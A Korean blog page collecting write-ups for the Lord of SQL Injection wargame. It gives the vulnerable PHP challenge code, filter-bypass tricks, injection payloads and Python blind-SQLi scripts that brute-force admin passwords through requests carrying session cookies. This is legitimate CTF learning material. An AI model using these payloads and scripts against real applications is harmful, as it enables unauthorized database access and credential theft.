반응형
반응형
반응형

DARKKNIGHT

 

문제 소스:

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php 
  include "./config.php"
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i'$_GET[no])) exit("No Hack ~_~"); 
  if(preg_match('/\'/i'$_GET[pw])) exit("HeHe"); 
  if(preg_match('/\'|substr|ascii|=/i'$_GET[no])) exit("HeHe"); 
  $query = "select id from prob_darkknight where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}"
  echo "<hr>query : <strong>{$query}</strong><hr><br>"
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_darkknight where id='admin' and pw='{$_GET[pw]}'"
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'== $_GET['pw'])) solve("darkknight"); 
  highlight_file(__FILE__); 
?>
cs

 

 if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("darkknight");

pw 검증 -> blind sql injection

 

 

if(preg_match('/\'|substr|ascii|=/i', $_GET[no])) exit("HeHe");

substr => mid

= => like  로 우회

 

 

 

pw 글자 수 구하기

 

' 따옴표 필터링으로 인해 'admin'을 hex값으로 넣어서 string으로 인식하도록 함.

 

no = 1 or id like 0x61646d696e and length(pw) like 8

 

 

pw길이는 8. 이제 pw을 구하면 된다.

 

 

이전에는 mid(pw,1,1) like '0' 으로 하면 되었지만

' 따옴표을 필터링 하기 때문에 아스키 값으로 바꿔서 비교를 해야 한다.

 

ord(mid(pw,1,1)) like 48

 

 

 

풀이 코드 :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import urllib
import urllib2
import sys
import time
 
string = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~!@#$^&*()-_+="
key = ""
 
for i in range(8):
    for j in range(len(string)):
        #payload = "1' || '1'='1' &&(substring(pw,"+str(i+1)+",1)='"+string[j]+"')#"
        #payload = "1' || '1'like'1' &&(mid(pw,"+str(i+1)+",1) like '"+string[j]+"')#"
        payload = "1 or id like 0x61646d696e and ord(mid(pw,"+str(i+1)+",1)) like "+str(ord(string[j]))+"#"
        payload = urllib.quote(payload)
        url = "https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?no="+payload
 
        print url
 
        opener = urllib2.build_opener(urllib2.HTTPHandler)
        request = urllib2.Request(url)
        request.add_header('User-Agent''Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
        request.add_header('Cookie''PHPSESSID=s9nkrte43d9mdtk5e0r6b54mfa')
        request.get_method = lambda:'GET'
        data = opener.open(request)
        data = data.read()
 
        if "Hello admin" in data:
            key += string[j]
            print "[*] Find Password!! Password is ["+key+"]"
            break
        else:
            print "[-] Fail!"
        time.sleep(0.1)
 
cs
반응형
반응형

GOLEM

 

 

문제 코드:

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php 
  include "./config.php"
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/or|and|substr\(|=/i'$_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_golem where id='guest' and pw='{$_GET[pw]}'"
  echo "<hr>query : <strong>{$query}</strong><hr><br>"
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_golem where id='admin' and pw='{$_GET[pw]}'"
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'== $_GET['pw'])) solve("golem"); 
  highlight_file(__FILE__); 
?>
cs

 

if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem"); 

 

pw을 비교하기 때문에 blind sqli로 pw을 구해내야 한다.

 

그러나

 

 

if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe"); 

 

로 인해서 or, and, substr(, = 을 사용할 수 없게 됐다. 대신 우회하여 사용해야 한다.

 

 

 

 

 

 

우회 방법은 아래와 같다.

 

or => ||

and => && (%26%26)

substr() => mid()

= => like

 

 

 

 

 

 

pw 길이 구하기

pw = 1' || '1'like'1' %26%26 length(pw) like 8%23

 

길이는 8이다. (이때까지 8이었으니 8로 때려 맞추면 된다.)

 

 

 

 

 

 

풀이 코드:

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import urllib
import urllib2
import sys
import time
 
string = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~!@#$^&*()-_+="
key = ""
 
for i in range(8):
    for j in range(len(string)):
        #payload = "1' || '1'='1' &&(substring(pw,"+str(i+1)+",1)='"+string[j]+"')#"
        payload = "1' || '1'like'1' &&(mid(pw,"+str(i+1)+",1) like '"+string[j]+"')#"
        payload = urllib.quote(payload)
        url = "https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php?pw="+payload
 
        print url
 
        opener = urllib2.build_opener(urllib2.HTTPHandler)
        request = urllib2.Request(url)
        request.add_header('User-Agent''Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
        request.add_header('Cookie''PHPSESSID=your_cookie_value_here')
        request.get_method = lambda:'GET'
        data = opener.open(request)
        data = data.read()
 
        if "Hello admin" in data:
            key += string[j]
            print "[*] Find Password!! Password is ["+key+"]"
            break
        else:
            print "[-] Fail!"
        time.sleep(0.1)
 
cs
반응형
반응형

SKELETON

 

1
2
3
4
5
6
7
8
9
10
11
12
http://www.wechall.net
<?php 
  include "./config.php"
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0"
  echo "<hr>query : <strong>{$query}</strong><hr><br>"
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id'
== 'admin') solve("skeleton"); 
  highlight_file(__FILE__); 
?>
cs

 

wolfman문제와 풀이가 비슷하다.

 

https://mandu-mandu.tistory.com/303?category=772020

 

LORD OF SQL INJECTION [wolfman] 풀이

1 2 3 4 5 6 7 8 9 10 11 12 13

mandu-mandu.tistory.com

 

 

공백필터링이 없으니 공백 우회를 하지 않아도 된다. 다른 점은 쿼리문 뒤에 있는 and 1=0 인데, #으로 주석처리 해주면 된다.

 

 

query : select id from prob_skeleton where id='guest' and pw='1' or '1'='1' and id = 'admin'#' and 1=0


 

 

 

pw = 1' or '1'='1' and id = 'admin'%23

반응형
반응형

https://los.rubiya.kr

VAMPIRE

 

문제 소스:

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
http://www.wechall.net
<?php 
  include "./config.php"
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/\'/i'$_GET[id])) exit("No Hack ~_~");
  $_GET[id] = strtolower($_GET[id]);
  $_GET[id] = str_replace("admin","",$_GET[id]); 
  $query = "select id from prob_vampire where id='{$_GET[id]}'"
  echo "<hr>query : <strong>{$query}</strong><hr><br>"
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id'== 'admin') solve("vampire"); 
  highlight_file(__FILE__); 
?>
cs

  if(preg_match('/\'/i', $_GET[id])) exit("No Hack ~_~");
  $_GET[id] = strtolower($_GET[id]);
  $_GET[id] = str_replace("admin","",$_GET[id]); 

 

따옴표가 발견되었을 때에는 exit을 통해 코드를 종료시켜버리지만,

 

"admin"이 발견되었다고 코드를 종료시키지는 않고, 해당 문자열을 ""로 치환시킨다.

(이전 문제 풀이 방식으로 대문자로 ADMIN을 입력하는 경우 strtolower함수에 의해 소문자로 치환되기 때문에, 사용할 수 없다.)

 

 

 

그러면 입력을 12admin345 로 하면 admin이 치환되어 12345가 남게된다. 이를 이용해서

 

adadminmin을 입력하면 admin이 치환되어 admin이 남고, 조건문을 통과할 수 있다.

 

 

 

 

id에 adadminmin을 입력하면 된다.

반응형
반응형

https://los.rubiya.kr

 

troll

 

문제 소스:

 

1
2
3
4
5
6
7
8
9
10
11
12
<?php  
  include "./config.php"
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/\'/i'$_GET[id])) exit("No Hack ~_~");
  if(preg_match("/admin/"$_GET[id])) exit("HeHe");
  $query = "select id from prob_troll where id='{$_GET[id]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id'== 'admin') solve("troll");
  highlight_file(__FILE__);
?>
cs

 

$_GET[id]

 

이번에는 id만 입력을 받는다.

 

 

 

  if(preg_match('/\'/i', $_GET[id])) exit("No Hack ~_~");
  if(preg_match("/admin/", $_GET[id])) exit("HeHe");

 

' 따옴표와 admin을 필터링 한다.

 

 

if($result['id'] == 'admin') solve("troll");

id는 admin이어야 한다.

 

 

 

 

 

 

 

필터링 하는 구문을 잘 보자.

 

preg_match("/admin/"$_GET[id])

/admin/

 

/admin/i 가 아니다. 뒤에 i가 붙지 않아서 대소문자 구분을 하게 된다.

따라서, 소문자로 admin만 필터링을 한다.

 

mysql은 기본적으로 대소문자 구분을 하지 않기 때문에, ADMIN으로 입력하여도 무방하게 된다.

 

 

 

 

 

id에 ADMIN으로 입력하자.

반응형
반응형

https://los.rubiya.kr

 

ORGE

소스 :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php 
  include "./config.php"
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/or|and/i'$_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_orge where id='guest' and pw='{$_GET[pw]}'"
  echo "<hr>query : <strong>{$query}</strong><hr><br>"
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'"
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'== $_GET['pw'])) solve("orge"); 
  highlight_file(__FILE__); 
?>
cs

 

 

if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe");

 

이전 문제와 같이 orand를 필터링 하고 있다. ||&& 으로 우회해주면 된다.

 

 

 

 

if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge"); 

 

입력한 pw가 저장된 pw와 같아야 한다.

orc 문제를 풀었을 때 사용했던 코드를 이용해서 blind SQL Injection을 해주면 된다.

 

 

orc 문제풀이:

https://mandu-mandu.tistory.com/302?category=772020

 

LORD OF SQL INJECTION [orc] 풀이

https://los.rubiya.kr Lord of SQLInjection los.rubiya.kr 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16

mandu-mandu.tistory.com

 

 

 

패스워드의 길이를 구해준다.

https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?pw=1%27%20||%20%271%27=%271%27%20%26%26length(pw)=8%23

 

query : select id from prob_orge where id='guest' and pw='1' || '1'='1' &&length(pw)=8#'

 

 

 

 

풀이 코드:

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import urllib
import urllib2
import sys
import time
 
string = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~!@#$^&*()-_+="
key = ""
 
for i in range(8):
    for j in range(len(string)):
        payload = "1' || '1'='1' &&(substring(pw,"+str(i+1)+",1)='"+string[j]+"')#"
        payload = urllib.quote(payload)
        url = "https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?pw="+payload
 
        print url
 
        opener = urllib2.build_opener(urllib2.HTTPHandler)
        request = urllib2.Request(url)
        request.add_header('User-Agent''Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
        request.add_header('Cookie''PHPSESSID=your_cookie_vaule_here')
        request.get_method = lambda:'GET'
        data = opener.open(request)
        data = data.read()
 
        if "Hello admin" in data:
            key += string[j]
            print "[*] Find Password!! Password is ["+key+"]"
            break
        else:
            print "[-] Fail!"
        time.sleep(0.1)
 
cs

 

pw을 구할 수 있다.

반응형
반응형
1
2
3
4
5
6
7
8
9
10
11
12
13
<?php 
  include "./config.php"
  login_chk(); 
  $db = dbconnect();  
  if(preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/or|and/i'$_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_darkelf where id='guest' and pw='{$_GET[pw]}'"
  echo "<hr>query : <strong>{$query}</strong><hr><br>"
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"
  if($result['id'== 'admin') solve("darkelf"); 
  highlight_file(__FILE__); 
?>
cs

  if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe");

 

이번에는 orand를 필터링한다. /i는 대소문자 구분을 하지 않기 때문에 대문자로 사용해도 필터링된다.

 

 

 

 

대신 orand||&&로 바꿔서 사용해주면 된다.

 

url에 &을 직접 넣을 경우 값으로 들어가지 않기 때문에, url 인코딩을 한 %26으로 넣어주면 된다.

 

 

 

1' || '1'='1' %26%26 id='admin

 

반응형
반응형
1
2
3
4
5
6
7
8
9
10
11
12
13
<?php 
  include "./config.php"
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/ /i'$_GET[pw])) exit("No whitespace ~_~"); 
  $query = "select id from prob_wolfman where id='guest' and pw='{$_GET[pw]}'"
  echo "<hr>query : <strong>{$query}</strong><hr><br>"
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"
  if($result['id'== 'admin') solve("wolfman"); 
  highlight_file(__FILE__); 
?>
cs

 

if(preg_match('/ /i', $_GET[pw])) exit("No whitespace ~_~");

 

공백을 필터링한다. 공백이 가능할 경우에는 1' or '1'='1' and id='admin 로 입력을 하면

 

query : select id from prob_wolfman where id='guest' and pw='1' or '1'='1' and id='admin'

가 되어서 admin으로 된다.

 

공백을 우회하는 방법은 여러가지가 있다. 아래 블로그를 참고했다.

https://binaryu.tistory.com/31

 

SQL Injection 공백 우회방법

SQL Injection 공격시 공백 문자 필터링시 우회 방법 1. Tab : %09 - no=1%09or%09id='admin' 2. Line Feed (\n): %0a - no=1%0aor%0aid='admin' 3. Carrage Return(\r) : %0d - no=1%0dor%0did='admin' 4. 주석 :..

binaryu.tistory.com

그 중 %0a을 이용해서 공백 필터링을 우회할 수 있었다.

 

 

반응형
반응형

https://los.rubiya.kr

 

Lord of SQLInjection

 

los.rubiya.kr

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php 
  include "./config.php"
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'"
  echo "<hr>query : <strong>{$query}</strong><hr><br>"
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello admin</h2>"
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'"
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'== $_GET['pw'])) solve("orc"); 
  highlight_file(__FILE__); 
?>
cs

 

pw=1' or '1'='1 로 입력하면 hello admin이 출력된다. 그러나 문제를 풀려면 아래 조건을 만족해야 한다.

 

 if(($result['pw']) && ($result['pw'== $_GET['pw'])) solve("orc");

 

실제 pw값과 입력한 pw값이 같아야 한다.

 

그러기 위해서는 pw값을 구해야 한다.

pw부분이 true가 되면 hello admin이 출력되는 것을 이용해서 블라인드 sqli을 하면 된다.

 

length를 이용해서 pw의 길이를 구한 뒤에

substr()함수를 이용해서 한자리씩 구하면 된다. 직접 수작업으로 하는 건 힘들기 때문에 자동화 코드를 짜서 돌리면 된다.

 

?pw=1' or '1'='1' and length(pw) = 8%23

query : select id from prob_orc where id='admin' and pw='1' or '1'='1' and length(pw) = 8#'

pw의 길이가 8임을 알 수 있다.

 

 

이제 pw를 구하자.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import urllib
import urllib2
import sys
import time
 
string = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~!@#$^&*()-_+="
key = ""
 
for i in range(8):
    for j in range(len(string)):
        payload = "1' or '1'='1' and(substring(pw,"+str(i+1)+",1)='"+string[j]+"')#"
        payload = urllib.quote(payload)
        url = "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw="+payload
 
        print url
 
        opener = urllib2.build_opener(urllib2.HTTPHandler)
        request = urllib2.Request(url)
        request.add_header('User-Agent''Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
        request.add_header('Cookie''PHPSESSID=ur_cookie_value')
        request.get_method = lambda:'GET'
        data = opener.open(request)
        data = data.read()
 
        if "Hello admin" in data:
            key += string[j]
            print "[*] Find Password!! Password is ["+key+"]"
            break
        else:
            print "[-] Fail!"
        time.sleep(0.1)
 
cs

ur_cookie_value 에 본인 쿠키값 입력.

 

 

 

처음에 

string = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789~!@#$^&*()-_+="

로 사용하면 패스워드가 djfasioe로 나온다.

그런데 첫 글자에 0을 넣어도 True가 된다.

 

그래서 string을 바꿔서

 

string = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~!@#$^&*()-_+="

로 하면 제대로 된 pw가 나온다.

반응형
반응형

https://los.rubiya.kr

 

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php 
  include "./config.php"
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i'$_GET[no])) exit("No Hack ~_~"); 
  if(preg_match('/\'|\"|\`/i'$_GET[no])) exit("No Quotes ~_~"); 
  $query = "select id from prob_goblin where id='guest' and no={$_GET[no]}"
  echo "<hr>query : <strong>{$query}</strong><hr><br>"
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"
  if($result['id'== 'admin') solve("goblin");
  highlight_file(__FILE__); 
?>
cs

if(preg_match('/\'|\"|\`/i'$_GET[no])) exit("No Quotes ~_~"); 

no에 따옴표가 필터링 된다.

 

 

if($result['id'== 'admin') solve("goblin");

id가 admin이어야 한다.

 

 

 

no=1는 guest가 나온다.

query : select id from prob_goblin where id='guest' and no=1


 

Hello guest

 

 

no에 다른 값을 넣어주어 guest가 나오지 못하도록 한다음 or id = 'admin'을 붙여주면 된다.

 

그러나 '을 필터링하기 때문에 admin이라는 문자열을 hex값으로 바꿔서 넣어주면 된다.

 

no=0 or id = 0x61646d696e

 

 

 

 

반응형

+ Recent posts